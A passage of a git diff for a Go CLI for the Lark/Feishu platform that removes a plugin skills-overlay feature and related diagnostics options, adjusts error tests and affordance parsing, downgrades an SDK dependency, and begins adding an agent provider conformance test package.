-	if strings.Contains(pnpmHint, "npm global prefix") || strings.Contains(pnpmHint, "sudo") {
-		t.Errorf("pnpm hint must not reference npm prefix or sudo, got: %s", pnpmHint)
-	}
-
 	// Windows: EACCES hint is suppressed (no EACCES on Windows).
 	currentOS = "windows"
-	hint = permissionHint("EACCES: permission denied", "npm")
+	hint = permissionHint("EACCES: permission denied")
 	if hint != "" {
 		t.Errorf("expected empty hint on Windows, got: %s", hint)
 	}
 
 	// Non-EACCES error: always empty.
 	currentOS = "linux"
-	if got := permissionHint("some other error", "npm"); got != "" {
+	if got := permissionHint("some other error"); got != "" {
 		t.Errorf("expected empty hint for non-EACCES, got: %s", got)
 	}
 }

errs/ERROR_CONTRACT.md

@@ -72,28 +72,6 @@ other category. `error.type` is `"policy"`, `error.subtype` is one of
 `challenge_required` / `access_denied`, and process exit is `6` via
 `CategoryPolicy`.
 
-### Success envelope (stdout)
-
-For contrast: success responses render to **stdout** as an
-`output.Envelope` (`internal/output/envelope.go`), exit code `0`:
-
-```json
-{
-  "ok": true,
-  "identity": "user",
-  "data": { "guid": "e297d3d0-..." },
-  "meta": { "count": 1 }
-}
-```
-
-Consumers must branch on `ok` (or the process exit code). The success
-envelope has **no top-level `code` or `msg` field** — `code` exists only
-inside `error`, where it is the upstream numeric code (invariant 4).
-Wrappers that follow the raw OpenAPI convention and test `code == 0`
-will misclassify every successful call as a failure, which is
-especially dangerous around write commands (e.g. retrying a create that
-already succeeded).
-
 ## Categories
 
 | Category | When | Exit | Typed struct |

errs/subtypes.go

@@ -12,9 +12,9 @@ const (
 
 // CategoryValidation subtypes
 const (
-	SubtypeInvalidArgument    Subtype = "invalid_argument"    // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
-	SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
-	SubtypeCommandUnavailable Subtype = "command_unavailable" // command not included in this build (integrator-restricted distribution); absent, not gated
+	SubtypeInvalidArgument       Subtype = "invalid_argument"       // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
+	SubtypeFailedPrecondition    Subtype = "failed_precondition"    // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
+	SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (agent card / Discoverer gating); exit 2, no request is sent
 )
 
 // CategoryAuthentication subtypes

errs/types_test.go

@@ -319,7 +319,7 @@ func TestPermissionError_FullChain(t *testing.T) {
 		WithHint("run: lark-cli auth login --scope %q", "mail:user_mailbox.message:send").
 		WithMissingScopes("mail:user_mailbox.message:send").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=mail:user_mailbox.message:send")
+		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
 
 	if got.Category != errs.CategoryAuthorization {
 		t.Errorf("Category = %q, want %q", got.Category, errs.CategoryAuthorization)
@@ -419,7 +419,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		WithHint("run lark-cli auth login --scope calendar:event:create").
 		WithMissingScopes("calendar:event:create").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create")
+		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
 
 	buf, err := json.Marshal(e)
 	if err != nil {
@@ -439,7 +439,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		"hint":           "run lark-cli auth login --scope calendar:event:create",
 		"log_id":         "20260520-0a1b2c3d",
 		"identity":       "user",
-		"console_url":    "https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create",
+		"console_url":    "https://open.feishu.cn/app/cli_xxx/auth",
 		"missing_scopes": []any{"calendar:event:create"},
 	}
 	for k, want := range wantFields {

extension/platform/README.md

@@ -60,7 +60,6 @@ You should see `audit` in the plugin list.
 | `Wrap`                     | Around each command's RunE         | Yes (return `*AbortError`)       |
 | `On(Startup/Shutdown)`     | Process lifecycle                  | N/A                              |
 | `Restrict(Rule)`           | Bootstrap-time, ≥1 per plugin      | Denies whole subtrees            |
-| `EmbeddedSkills(SkillsOverlay)`        | Bootstrap-time, ≤1 per plugin      | No (customizes embedded skills)  |
 
 ### Plugin lifecycle
 
@@ -80,7 +79,7 @@ sequenceDiagram
     Host->>SDK: InstallAll()
     SDK->>Plugin: Capabilities()
     SDK->>Plugin: Install(Registrar)
-    Plugin->>SDK: Observe / Wrap / Restrict / EmbeddedSkills / On(Startup,Shutdown)
+    Plugin->>SDK: Observe / Wrap / Restrict / On(Startup,Shutdown)
     SDK->>Plugin: On(Startup) fire
 
     Note over Host,Plugin: Each command dispatch
@@ -114,35 +113,6 @@ the rejected dispatch.
   widen another's policy). YAML policy at `~/.lark-cli/policy.yml` (which
   may itself list several rules under `rules:`) is shadowed by any plugin
   Restrict.
-- A plugin may call `EmbeddedSkills()` at most once to customize the embedded
-  skill tree — `Allow` keeps only the listed skills (the allow-list
-  counterpart of `Rule.Allow`, so a CLI upgrade cannot widen the build;
-  `Remove` wins over `Allow`, and `Overlay` entries are exempt), `Remove`
-  drops skills, `Overlay` adds/replaces ones, or swap the whole `Base` —
-  layered over the CLI default. Unlike `Restrict()`
-  it is NOT a security boundary and does not imply `FailClosed`: it
-  shapes fail-open guidance content. Removing a skill only drops its
-  `skills read` / `--help` guidance — it does NOT disable the matching
-  commands (use `Restrict()` for that). Only ONE plugin per binary may
-  contribute a `SkillsOverlay`; two DISTINCT plugins is a deliberate
-  `multiple_skills_overlay_plugins` error.
-- A command denied by a **plugin** Rule presents as absent, not as
-  forbidden: it leaves `--help` and completion, explicit help on it is
-  intercepted, and invoking it answers `subtype=command_unavailable`
-  with no policy vocabulary and no recovery hint. Set
-  `Rule.DeniedMessage` to replace the default
-  "command not included in this build" with your product's own wording.
-  yaml-source denials keep the classic `command_denied` presentation —
-  the user owns that policy and needs to see how to adjust it. Denying a
-  whole domain also retires what points at it: `--profile` (profile
-  domain) hides and rejects use, the root-help skills footer (skills),
-  update notices (update), and the `auth login` recovery hint (auth)
-  stop rendering.
-- `config policy show` / `config plugins show` stay executable under any
-  plugin policy (hidden from help when their domain is denied) so an
-  operator can still inspect the rule that locked the build. An
-  integrator shipping a fully-managed distribution opts out with
-  `HideDiagnostics()` — requires `Restrict()` on the same plugin.
 - The `Wrap` factory runs **once per command dispatch**, not at
   install time. Long-lived state (clients, caches, metrics counters)
   must live on the Plugin struct or in package-level variables.
@@ -183,8 +153,6 @@ messages are localised and may change between releases.
 | `invalid_hook_registration` | Hook factory returns nil / Wrap chain re-entry / etc.                          | Yes                    |
 | `invalid_rule`              | Rule fails ValidateRule (malformed glob, bad MaxRisk, unknown Identity)        | Yes                    |
 | `multiple_restrict_plugins` | Two or more DISTINCT plugins each contributed Restrict (one plugin may contribute several rules) | Yes  |
-| `invalid_skills_overlay`        | Staging fault (`EmbeddedSkills(nil)` / second call in one plugin) honours FailurePolicy; a `SkillsOverlay` that can't compose (`Remove` names a skill absent from the base, `Overlay` entry lacks `SKILL.md`) always aborts via a fatal dispatch guard | Mixed — see left |
-| `multiple_skills_overlay_plugins` | Two or more DISTINCT plugins each contributed a `SkillsOverlay` (only one may own skill content)  | No — always aborts (dispatch guard) |
 | `install_failed`            | `Plugin.Install` returned a non-nil error                                      | Yes                    |
 | `install_panic`             | `Plugin.Install` panicked                                                      | Yes                    |
 
@@ -219,8 +187,8 @@ should additionally check `detail.layer == "policy"`.
 - [Runnable example: audit observer](./examples/audit-observer/)
 - [Runnable example: read-only policy](./examples/readonly-policy/)
 - Builder API: see [`builder.go`](./builder.go) for the full DSL
-  (`NewPlugin`, `Observer`, `Wrap`, `Restrict`, `EmbeddedSkills`,
-  `HideDiagnostics`, `FailOpen`/`FailClosed`, `MustBuild`).
+  (`NewPlugin`, `Observer`, `Wrap`, `Restrict`, `FailOpen`/`FailClosed`,
+  `MustBuild`).
 - Inventory diagnostic: run `lark-cli config plugins show` after
   installing your plugin to see hooks/rules attributed to your plugin
   name.

extension/platform/builder.go

@@ -36,9 +36,8 @@ type Builder struct {
 	version string
 	caps    Capabilities
 
-	actions       []func(Registrar)
-	rules         []*Rule
-	skillsOverlay *SkillsOverlay
+	actions []func(Registrar)
+	rules   []*Rule
 
 	hookNames map[string]bool
 	errs      []error
@@ -82,15 +81,6 @@ func (b *Builder) FailClosed() *Builder {
 	return b
 }
 
-// HideDiagnostics retires the policy self-inspection commands
-// (`config policy show`, `config plugins show`), which otherwise stay
-// executable under a plugin policy as the operator's escape hatch.
-// Requires Restrict() on the same plugin; Build fails otherwise.
-func (b *Builder) HideDiagnostics() *Builder {
-	b.caps.HideDiagnostics = true
-	return b
-}
-
 // Observer registers an Observer. Multiple calls accumulate.
 func (b *Builder) Observer(when When, hookName string, sel Selector, fn Observer) *Builder {
 	if !b.validateHookName(hookName, "observer") {
@@ -155,35 +145,6 @@ func (b *Builder) Restrict(rule *Rule) *Builder {
 	return b
 }
 
-// EmbeddedSkills contributes a SkillsOverlay (see SkillsOverlay)
-// customizing the CLI's embedded skill content. Unlike Restrict it does
-// NOT imply FailClosed: skill customization is guidance content, not a
-// security boundary. A plugin owns at most one SkillsOverlay, so calling
-// EmbeddedSkills more than once is a build error.
-func (b *Builder) EmbeddedSkills(spec *SkillsOverlay) *Builder {
-	if spec == nil {
-		b.errs = append(b.errs, errors.New("EmbeddedSkills(nil): spec must not be nil"))
-		return b
-	}
-	if b.skillsOverlay != nil {
-		b.errs = append(b.errs, errors.New("EmbeddedSkills() called more than once; a plugin owns at most one SkillsOverlay"))
-		return b
-	}
-	b.skillsOverlay = cloneSkillsOverlay(spec)
-	return b
-}
-
-// cloneSkillsOverlay snapshots the caller's spec so a later mutation of the
-// same *SkillsOverlay cannot alter the staged copy. The Remove slice is
-// copied; Overlay/Base are fs.FS handles retained by reference (an fs.FS
-// is a read-only view, not caller-mutable state).
-func cloneSkillsOverlay(spec *SkillsOverlay) *SkillsOverlay {
-	cp := *spec
-	cp.Allow = append([]string(nil), spec.Allow...)
-	cp.Remove = append([]string(nil), spec.Remove...)
-	return &cp
-}
-
 // Build returns the configured Plugin, or an error if any builder
 // step found a fault. MustBuild panics on the same error.
 //
@@ -194,20 +155,15 @@ func (b *Builder) Build() (Plugin, error) {
 		b.errs = append(b.errs, errors.New(
 			"Restrict() requires FailClosed; do not call FailOpen() after Restrict()"))
 	}
-	if b.caps.HideDiagnostics && len(b.rules) == 0 {
-		b.errs = append(b.errs, errors.New(
-			"HideDiagnostics() requires Restrict(): there is no integrator policy to hide"))
-	}
 	if len(b.errs) > 0 {
 		return nil, errors.Join(b.errs...)
 	}
 	return &builtPlugin{
-		name:          b.name,
-		version:       b.version,
-		caps:          b.caps,
-		actions:       b.actions,
-		rules:         b.rules,
-		skillsOverlay: b.skillsOverlay,
+		name:    b.name,
+		version: b.version,
+		caps:    b.caps,
+		actions: b.actions,
+		rules:   b.rules,
 	}, nil
 }
 
@@ -246,12 +202,11 @@ func (b *Builder) validateHookName(hookName, kind string) bool {
 
 // builtPlugin is the Plugin implementation the builder emits.
 type builtPlugin struct {
-	name          string
-	version       string
-	caps          Capabilities
-	actions       []func(Registrar)
-	rules         []*Rule
-	skillsOverlay *SkillsOverlay
+	name    string
+	version string
+	caps    Capabilities
+	actions []func(Registrar)
+	rules   []*Rule
 }
 
 func (p *builtPlugin) Name() string               { return p.name }
@@ -261,9 +216,6 @@ func (p *builtPlugin) Install(r Registrar) error {
 	for _, rule := range p.rules {
 		r.Restrict(rule)
 	}
-	if p.skillsOverlay != nil {
-		r.EmbeddedSkills(p.skillsOverlay)
-	}
 	for _, action := range p.actions {
 		action(r)
 	}

extension/platform/builder_test.go

@@ -14,13 +14,11 @@ import (
 // recorder Registrar captures everything a builder schedules so the
 // test can assert what Install produced without involving the host.
 type recorder struct {
-	observers     int
-	wrappers      int
-	lifecycles    int
-	rule          *platform.Rule   // last rule (existing single-rule assertions)
-	rules         []*platform.Rule // every rule, in Restrict order
-	skillsOverlay *platform.SkillsOverlay
-	skillCalls    int
+	observers  int
+	wrappers   int
+	lifecycles int
+	rule       *platform.Rule   // last rule (existing single-rule assertions)
+	rules      []*platform.Rule // every rule, in Restrict order
 }
 
 func (r *recorder) Observe(platform.When, string, platform.Selector, platform.Observer) {
@@ -32,10 +30,6 @@ func (r *recorder) Restrict(rule *platform.Rule) {
 	r.rule = rule
 	r.rules = append(r.rules, rule)
 }
-func (r *recorder) EmbeddedSkills(spec *platform.SkillsOverlay) {
-	r.skillsOverlay = spec
-	r.skillCalls++
-}
 
 // Restrict must snapshot each rule: a caller that reuses and mutates the
 // same *Rule object across two Restrict calls must still get two distinct
@@ -217,78 +211,3 @@ func TestBuilder_failOpenThenRestrictOK(t *testing.T) {
 		t.Errorf("FailurePolicy = %v, want FailClosed", p.Capabilities().FailurePolicy)
 	}
 }
-
-// EmbeddedSkills() must snapshot Remove: a caller that mutates the same slice
-// after the call must still get the value staged at call time.
-func TestBuilder_skillsInstalledAndCloned(t *testing.T) {
-	remove := []string{"lark-shared"}
-	b := platform.NewPlugin("p", "0").EmbeddedSkills(&platform.SkillsOverlay{Remove: remove})
-	remove[0] = "mutated"
-
-	p, err := b.Build()
-	if err != nil {
-		t.Fatalf("Build: %v", err)
-	}
-	r := &recorder{}
-	if err := p.Install(r); err != nil {
-		t.Fatalf("Install: %v", err)
-	}
-	if r.skillCalls != 1 {
-		t.Fatalf("Skills calls = %d, want 1", r.skillCalls)
-	}
-	if r.skillsOverlay == nil || len(r.skillsOverlay.Remove) != 1 || r.skillsOverlay.Remove[0] != "lark-shared" {
-		t.Errorf("staged Remove leaked later mutation: %+v", r.skillsOverlay)
-	}
-}
-
-func TestBuilder_skillsNilRejected(t *testing.T) {
-	_, err := platform.NewPlugin("p", "0").EmbeddedSkills(nil).Build()
-	if err == nil {
-		t.Fatal("EmbeddedSkills(nil) must produce error")
-	}
-}
-
-func TestBuilder_skillsTwiceRejected(t *testing.T) {
-	_, err := platform.NewPlugin("p", "0").
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}).
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-b"}}).
-		Build()
-	if err == nil {
-		t.Fatal("calling EmbeddedSkills() twice must produce error")
-	}
-}
-
-// EmbeddedSkills() customizes guidance content, not a security boundary, so
-// unlike Restrict() it must NOT force FailClosed.
-func TestBuilder_skillsDoesNotForceFailClosed(t *testing.T) {
-	p, err := platform.NewPlugin("p", "0").EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}).Build()
-	if err != nil {
-		t.Fatalf("Build: %v", err)
-	}
-	caps := p.Capabilities()
-	if caps.Restricts {
-		t.Error("EmbeddedSkills() must not set Restricts")
-	}
-	if caps.FailurePolicy != platform.FailOpen {
-		t.Errorf("FailurePolicy = %v, want FailOpen (default)", caps.FailurePolicy)
-	}
-}
-
-// HideDiagnostics only makes sense alongside Restrict: without a rule
-// there is no integrator policy whose inspection could be hidden.
-func TestBuilder_hideDiagnosticsRequiresRestrict(t *testing.T) {
-	_, err := platform.NewPlugin("p", "0").HideDiagnostics().Build()
-	if err == nil {
-		t.Fatal("HideDiagnostics() without Restrict() must fail Build")
-	}
-	p, err := platform.NewPlugin("p", "0").
-		Restrict(&platform.Rule{Deny: []string{"config/**"}}).
-		HideDiagnostics().
-		Build()
-	if err != nil {
-		t.Fatalf("HideDiagnostics()+Restrict() must build: %v", err)
-	}
-	if !p.Capabilities().HideDiagnostics {
-		t.Error("Capabilities.HideDiagnostics must be set")
-	}
-}

extension/platform/capabilities.go

@@ -47,9 +47,4 @@ type Capabilities struct {
 	// constants above; the framework requires FailClosed whenever
 	// Restricts=true.
 	FailurePolicy FailurePolicy
-
-	// HideDiagnostics retires the policy self-inspection commands
-	// (`config policy show`, `config plugins show`) from the build.
-	// Requires Restricts=true; the install fails otherwise.
-	HideDiagnostics bool
 }

extension/platform/registrar.go

@@ -35,18 +35,4 @@ type Registrar interface {
 	// Plugin rules take precedence over the yaml source; two distinct
 	// plugins both calling Restrict abort startup.
 	Restrict(r *Rule)
-
-	// Skills contributes a SkillsOverlay customizing the CLI's embedded skill
-	// content (see SkillsOverlay). Skill content has a single owner: a second
-	// customizing plugin, or a SkillsOverlay that cannot compose, aborts
-	// startup unconditionally. A malformed call inside one plugin --
-	// EmbeddedSkills(nil) or a second EmbeddedSkills() -- is a staging fault handled like
-	// any Install error (FailClosed aborts, FailOpen skips); the Builder
-	// rejects it earlier, at MustBuild.
-	//
-	// Unlike Restrict, EmbeddedSkills is not a security boundary -- it shapes
-	// fail-open guidance content. Removing a skill drops its guidance but
-	// does not disable any command; use Restrict to actually block a
-	// command.
-	EmbeddedSkills(spec *SkillsOverlay)
 }

extension/platform/rule.go

@@ -6,9 +6,8 @@ package platform
 // Rule is the declarative policy rule data structure. yaml files and
 // Plugin.Restrict() both produce the same Rule.
 //
-// At any moment there is at most one effective SOURCE of rules -- the
-// resolver decides which wins (Plugin > yaml > none); the winning source
-// may contribute several scoped rules. This package only defines the
+// At any moment there is at most one effective Rule -- the resolver decides
+// which source wins (Plugin > yaml > none). This package only defines the
 // shape; selection lives in internal/cmdpolicy.
 //
 // The four filter fields are joined by AND. See the engine's Evaluate for
@@ -58,11 +57,4 @@ type Rule struct {
 	// No yaml tag: yaml decoding lives in internal/cmdpolicy/yaml so
 	// platform stays free of a yaml library dependency.
 	AllowUnannotated bool `json:"allow_unannotated,omitempty"`
-
-	// DeniedMessage replaces the default "command not included in this
-	// build" message for plugin-denied commands. The message is
-	// build-level: the first non-empty DeniedMessage across the owning
-	// plugin's rules applies to every denial, so declare it once. yaml
-	// rules ignore it (they keep the command-denied presentation).
-	DeniedMessage string `json:"denied_message,omitempty"`
 }

extension/platform/skillsoverlay.go

@@ -1,49 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package platform
-
-import "io/fs"
-
-// SkillsOverlay declares how a plugin customizes the CLI's embedded
-// skill content, contributed via Builder.EmbeddedSkills. At most one
-// source may own skill content; two customizing plugins abort startup.
-//
-// Allow / Remove mirror Rule's Allow / Deny: an allow-list keeps only
-// what it names, a remove-list drops what it names, and Remove wins
-// over Allow. Composition order is fixed: Base (or the CLI default) ->
-// Allow -> Remove -> Overlay, a same-named skill resolving to Overlay.
-//
-// Skills are addressed by exact name (a directory carrying SKILL.md,
-// e.g. "lark-doc"), not by command path and not by glob — the skill
-// list is flat, so misspellings abort startup instead of silently
-// matching nothing. Removing a skill only drops its guidance; it does
-// not disable any command (use Restrict for that).
-type SkillsOverlay struct {
-	// Allow, when non-empty, keeps only these skills (by name) from the
-	// base tree — the allow-list counterpart of Rule.Allow. Skills the
-	// CLI adds in future versions stay out of the build until listed
-	// here, which a Remove-only spec cannot guarantee. A name not
-	// present in the base aborts startup. Overlay entries are exempt:
-	// content the integrator explicitly ships needs no allow-listing.
-	Allow []string
-
-	// Remove hides these skills, by name (e.g. "lark-shared"), from the
-	// base tree; it wins over Allow, mirroring Rule's Deny-over-Allow. A
-	// name not present in the base aborts startup rather than being
-	// silently ignored.
-	Remove []string
-
-	// Overlay contributes skills laid over the base: a same-named skill
-	// replaces the base's entirely, a new name adds one. It is rooted at
-	// the skill list (entries like "my-skill/SKILL.md"); each top-level
-	// entry must be a "<name>/" directory containing SKILL.md. Any fs.FS
-	// works (embed.FS, os.DirFS, fstest.MapFS); embed.FS is not required.
-	Overlay fs.FS
-
-	// Base replaces the entire base skill tree instead of layering over
-	// the CLI default. nil keeps the CLI default. Rare: most integrators
-	// leave it nil and use Remove/Overlay so unchanged skills follow the
-	// CLI version with no copy to maintain.
-	Base fs.FS
-}

go.mod

@@ -10,7 +10,7 @@ require (
 	github.com/gofrs/flock v0.8.1
 	github.com/google/uuid v1.6.0
 	github.com/itchyny/gojq v0.12.17
-	github.com/larksuite/oapi-sdk-go/v3 v3.7.2
+	github.com/larksuite/oapi-sdk-go/v3 v3.5.4
 	github.com/sergi/go-diff v1.4.0
 	github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
 	github.com/smartystreets/goconvey v1.8.1

go.sum

@@ -79,8 +79,8 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
 github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
 github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
 github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
-github.com/larksuite/oapi-sdk-go/v3 v3.7.2 h1:SCIcXHRmtpQbiaZgDTDi1NYNCzrusi7ePJBR9uKoduE=
-github.com/larksuite/oapi-sdk-go/v3 v3.7.2/go.mod h1:ZEplY+kwuIrj/nqw5uSCINNATcH3KdxSN7y+UxYY5fI=
+github.com/larksuite/oapi-sdk-go/v3 v3.5.4 h1:U2S9x9LrfH++ZqJ+YAiUlqzCWJmVXhFdS8Z7rIBH8H0=
+github.com/larksuite/oapi-sdk-go/v3 v3.5.4/go.mod h1:ZEplY+kwuIrj/nqw5uSCINNATcH3KdxSN7y+UxYY5fI=
 github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
 github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
 github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=

internal/affordance/affordance.go

@@ -77,15 +77,20 @@ func loadService(service string) map[string]json.RawMessage {
 // space→dot fallback covers domains where the two already coincide.
 func commandFormResolver(service string) func(string) string {
 	byForm := map[string]string{}
-	if svc, ok := registry.SchemaCatalog().Service(service); ok {
+	for _, svc := range registry.EmbeddedServicesTyped() {
+		if svc.Name != service {
+			continue
+		}
 		for _, ref := range apicatalog.ServiceMethods(svc, nil) {
 			byForm[strings.Join(ref.CommandPath()[1:], " ")] = ref.Method.ID
 		}
+		break
 	}
 	return func(h string) string {
-		if id, ok := byForm[strings.TrimSpace(h)]; ok {
+		h = strings.TrimSpace(h)
+		if id, ok := byForm[h]; ok {
 			return id
 		}
-		return headingToKey(h) // one home for the shortcut/method key convention
+		return strings.ReplaceAll(h, " ", ".")
 	}
 }

internal/affordance/affordance_test.go

@@ -7,8 +7,6 @@ import (
 	"encoding/json"
 	"testing"
 	"testing/fstest"
-
-	"github.com/larksuite/cli/internal/meta"
 )
 
 // fixtureMD is a minimal affordance source: two methods, each with a lead
@@ -86,38 +84,3 @@ func TestParseDomainMD_ParagraphNotDropped(t *testing.T) {
 		t.Errorf("custom-section paragraph not flowed through: %+v", a.Extensions)
 	}
 }
-
-// The ### Skills section merges with the domain `> skill:` default: domain
-// first, then per-command entries, de-duplicated. A command with no ### Skills
-// still inherits the domain default.
-func TestParseDomainMD_SkillsMerge(t *testing.T) {
-	md := "# d\n> skill: lark-d\n\n" +
-		"## foo\ndoes foo.\n\n### Skills\n- lark-workflow\n- lark-d\n\n" + // lark-d duplicates the domain default
-		"## bar\ndoes bar.\n"
-	got := parseDomainMD([]byte(md), nil)
-
-	if a := got["foo"]; len(a.Skills) != 2 || a.Skills[0] != "lark-d" || a.Skills[1] != "lark-workflow" {
-		t.Errorf("foo skills = %v, want [lark-d lark-workflow] (domain first, deduped)", a.Skills)
-	}
-	if a := got["bar"]; len(a.Skills) != 1 || a.Skills[0] != "lark-d" {
-		t.Errorf("bar skills = %v, want [lark-d] (domain default inherited)", a.Skills)
-	}
-}
-
-// A +-prefixed shortcut heading keys verbatim (no space->dot folding), so it
-// matches the shortcut command as mounted.
-func TestParseDomainMD_ShortcutHeadingVerbatim(t *testing.T) {
-	md := "# d\n\n## +create\ncreate via shortcut.\n"
-	got := parseDomainMD([]byte(md), nil)
-	if _, ok := got["+create"]; !ok {
-		t.Errorf("shortcut heading should key as %q; got keys %v", "+create", keysOf(got))
-	}
-}
-
-func keysOf(m map[string]meta.Affordance) []string {
-	out := make([]string, 0, len(m))
-	for k := range m {
-		out = append(out, k)
-	}
-	return out
-}

internal/affordance/mdparse.go

@@ -19,7 +19,6 @@ import (
 //	### Prerequisites   -> prerequisites   (a "…来自 [[x]]" link is a sequence edge)
 //	### Tips            -> tips
 //	### Examples        -> examples: **description** + a ```fenced``` command
-//	### Skills          -> skills: bullet skill names, added to the domain default
 //	### <other>         -> extensions[] (custom section, flows through verbatim)
 //	[[cmd]]             -> a command reference, rendered as `cmd`
 //
@@ -35,56 +34,16 @@ var standardSection = map[string]string{
 	"Prerequisites": "prerequisites",
 	"Tips":          "tips",
 	"Examples":      "examples",
-	"Skills":        "skills",
-}
-
-// mergeSkills returns the domain-default skill followed by a command's own skill
-// entries, de-duplicated in author order and empties dropped. Backticks (left by
-// the shared bullet parse) are stripped so each entry is a bare skill name.
-func mergeSkills(domain string, extra []string) []string {
-	var out []string
-	seen := map[string]bool{}
-	add := func(s string) {
-		s = strings.Trim(strings.TrimSpace(s), "`")
-		if s == "" || seen[s] {
-			return
-		}
-		seen[s] = true
-		out = append(out, s)
-	}
-	add(domain)
-	for _, s := range extra {
-		add(s)
-	}
-	return out
 }
 
 func linkToBacktick(s string) string { return mdLink.ReplaceAllString(s, "`$1`") }
 
-// SkillStatPath maps a `### Skills` entry to the path (relative to the skill
-// tree) whose existence gates it: a bare skill name resolves to its SKILL.md,
-// while an entry containing a slash is a name/relative-path reference (e.g.
-// "lark-contact/references/lark-contact-search-user.md") and resolves to that
-// path directly. Both render as `lark-cli skills read <entry>` — the slash form
-// skills read already accepts — so a per-command entry can point at that
-// command's own reference file, not just re-point the domain skill.
-func SkillStatPath(entry string) string {
-	if strings.Contains(entry, "/") {
-		return entry
-	}
-	return entry + "/SKILL.md"
-}
-
 // headingToKey maps a command heading ("instances get") to its affordance key
 // ("instances.get"). The space→dot rule holds where the command form matches
 // the method id; domains whose resource names differ (e.g. plural "messages"
 // vs id segment "message") need the registry's authoritative resource↔id table.
 func headingToKey(h string) string {
-	h = strings.TrimSpace(h)
-	if strings.HasPrefix(h, "+") { // shortcut command: key is the command verbatim
-		return h
-	}
-	return strings.ReplaceAll(h, " ", ".")
+	return strings.ReplaceAll(strings.TrimSpace(h), " ", ".")
 }
 
 type mdSection struct {
@@ -123,7 +82,6 @@ func parseDomainMD(src []byte, resolve func(string) string) map[string]meta.Affo
 		if len(useWhen) > 0 {
 			a.UseWhen = useWhen
 		}
-		var perCmdSkills []string
 		for _, s := range secs {
 			switch standardSection[s.label] {
 			case "avoid_when":
@@ -134,14 +92,12 @@ func parseDomainMD(src []byte, resolve func(string) string) map[string]meta.Affo
 				a.Tips = s.items
 			case "examples":
 				a.Examples = s.cases
-			case "skills":
-				perCmdSkills = s.items
 			default:
 				a.Extensions = append(a.Extensions, meta.AffordanceSection{Label: s.label, Items: s.items})
 			}
 		}
-		if s := mergeSkills(skill, perCmdSkills); len(s) > 0 {
-			a.Skills = s
+		if skill != "" {
+			a.Skills = []string{skill}
 		}
 		out[curKey] = a
 	}
@@ -201,7 +157,7 @@ func parseDomainMD(src []byte, resolve func(string) string) map[string]meta.Affo
 				inFence, fence = true, nil
 			} else {
 				inFence = false
-				sec.cases = append(sec.cases, meta.AffordanceCase{Description: linkToBacktick(pending), Command: strings.Join(fence, "\n")})
+				sec.cases = append(sec.cases, meta.AffordanceCase{Description: pending, Command: strings.Join(fence, "\n")})
 				pending = ""
 			}
 			continue

internal/agent/agenttest/agenttest.go

@@ -0,0 +1,163 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agenttest provides provider conformance tests: a new integrator calls
+// RunConformance in its own test to lock down registration metadata, the
+// zero-value Deps contract, Card single-sourcing, and other implicit contracts.
+// All assertions run offline (zero-value Deps, no API calls).
+package agenttest
+
+import (
+	"context"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/agent"
+)
+
+// RunConformance runs the full set of conformance assertions against a
+// registered scheme. sampleAgentID must be a valid agent id for which the
+// provider can produce a Card (catalog-type: an id from the catalog;
+// instance-type: any non-empty id).
+func RunConformance(t *testing.T, scheme, sampleAgentID string) {
+	t.Helper()
+	info, ok := agent.Info(scheme)
+	if !ok {
+		t.Fatalf("conformance: scheme %q not registered (the provider package must be imported to trigger init registration)", scheme)
+	}
+
+	t.Run("metadata", func(t *testing.T) {
+		if info.Label == "" {
+			t.Error("conformance: ProviderInfo.Label must not be empty")
+		}
+		if info.AgentIDSource == "" {
+			t.Error("conformance: ProviderInfo.AgentIDSource must not be empty")
+		}
+		if info.Kind != agent.KindCatalog && info.Kind != agent.KindInstance {
+			t.Errorf("conformance: Kind should be %q|%q, got %q", agent.KindCatalog, agent.KindInstance, info.Kind)
+		}
+		if !strings.HasPrefix(info.AgentRefFormat, scheme+":") {
+			t.Errorf("conformance: AgentRefFormat should start with %q, got %q", scheme+":", info.AgentRefFormat)
+		}
+		if len(info.Identities) == 0 {
+			t.Error("conformance: Identities must not be empty")
+		}
+		for i, id := range info.Identities {
+			if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
